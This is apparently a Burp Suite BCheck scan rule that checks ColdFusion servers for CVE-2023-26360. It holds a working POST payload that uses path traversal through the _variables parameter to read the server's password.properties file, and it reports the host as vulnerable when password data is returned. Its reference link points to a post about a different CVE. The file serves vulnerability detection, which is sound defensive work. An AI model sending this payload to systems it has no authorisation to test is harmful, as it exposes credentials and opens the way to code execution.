CVE-2023-26360 Adobe ColdFusion Arbitrary File Read and Code Execution.bcheck

metadata:
    language: v1-beta
    name: "CVE-2023-26360 Adobe ColdFusion Arbitrary File Read and Code Execution"
    description: "Checks for CVE-2023-26360"
    author: "Ollie Whitehouse"
    tags: "CVE-2023-26360 CVE ColdFusion"

# Details of the vulnerability can be found in https://www.rapid7.com/blog/post/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/
define:
    potential_path =
        "//CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"

given host then
    send request called check:
		method: "POST"
		replacing headers:
			"Content-Type": "application/x-www-form-urlencoded"
		path: {potential_path}
		body: "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"

		# Checks that we get a 200 AND that the output we expect in the result
		if {check.response.status_code} is "200" and "password=" in {check.response.body} then
			report issue:
				severity: high
				confidence: certain
				detail: "Host is vulnerable to the arbitrary file read and code execution vulnerability CVE-2023-26360"
				remediation: "See Adobe's APSB23-40 Security Bulletin - CF2018 Update 17, CF2021 Update 7, and CF2023 GA build for patched version"
		end if